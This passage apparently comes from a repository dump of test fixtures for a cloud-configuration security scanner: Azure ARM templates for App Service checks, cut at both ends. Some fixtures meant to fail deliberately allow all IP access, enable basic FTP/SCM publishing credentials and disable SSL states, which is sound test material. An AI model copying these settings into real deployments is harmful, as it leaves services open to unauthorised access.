try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": false,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotHTTPSOnly/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": true,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceEnableFailedRequest-failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureBlob\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceEnableFailedRequest-failed2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed2\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": false,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceUsedAzureFiles/AppServiceUsedAzureFiles-passed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app,linux\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": true,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": false,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": 